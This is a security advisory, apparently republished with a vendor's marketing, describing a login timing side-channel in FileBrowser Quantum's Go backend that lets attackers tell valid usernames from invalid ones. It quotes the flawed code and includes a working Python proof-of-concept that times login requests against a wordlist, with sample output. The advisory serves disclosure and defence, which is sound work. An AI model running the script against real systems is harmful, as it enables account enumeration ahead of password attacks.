GHSA-7789-65hx-f26w
MEDIUMFileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel
Blast Radius
github.com/gtsteffaniak/filebrowser/backendReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.
Details
The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.
user, err := userStore.Get(username)
if err != nil {
return nil, fmt.Errorf("unable to get user from store: %v", err)
}
err = users.CheckPwd(password, user.Password)
if err != nil {
return nil, err
}
If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.
As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.
In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.
PoC
The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.
import requests
import time
import statistics
# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]
def measure(username):
start = time.perf_counter()
requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
return time.perf_counter() - start
# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")
# 2. Validation Test
for user in WORDLIST:
t = measure(user)
status = "VALID" if t > threshold else "invalid"
print(f"{user:<15} | {t:.4f}s | {status}")
Example output (with admin and user2 configured as valid users in the application):
$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin | 0.0505s | VALID
root | 0.0019s | invalid
user2 | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid
Impact
An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gtsteffaniak/filebrowser/backend | all versions | 0.0.0-20260317230626-af08800667b8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7789-65hx-f26w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7789-65hx-f26w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7789-65hx-f26w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7789-65hx-f26w in your dependencies?
O3 detects GHSA-7789-65hx-f26w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.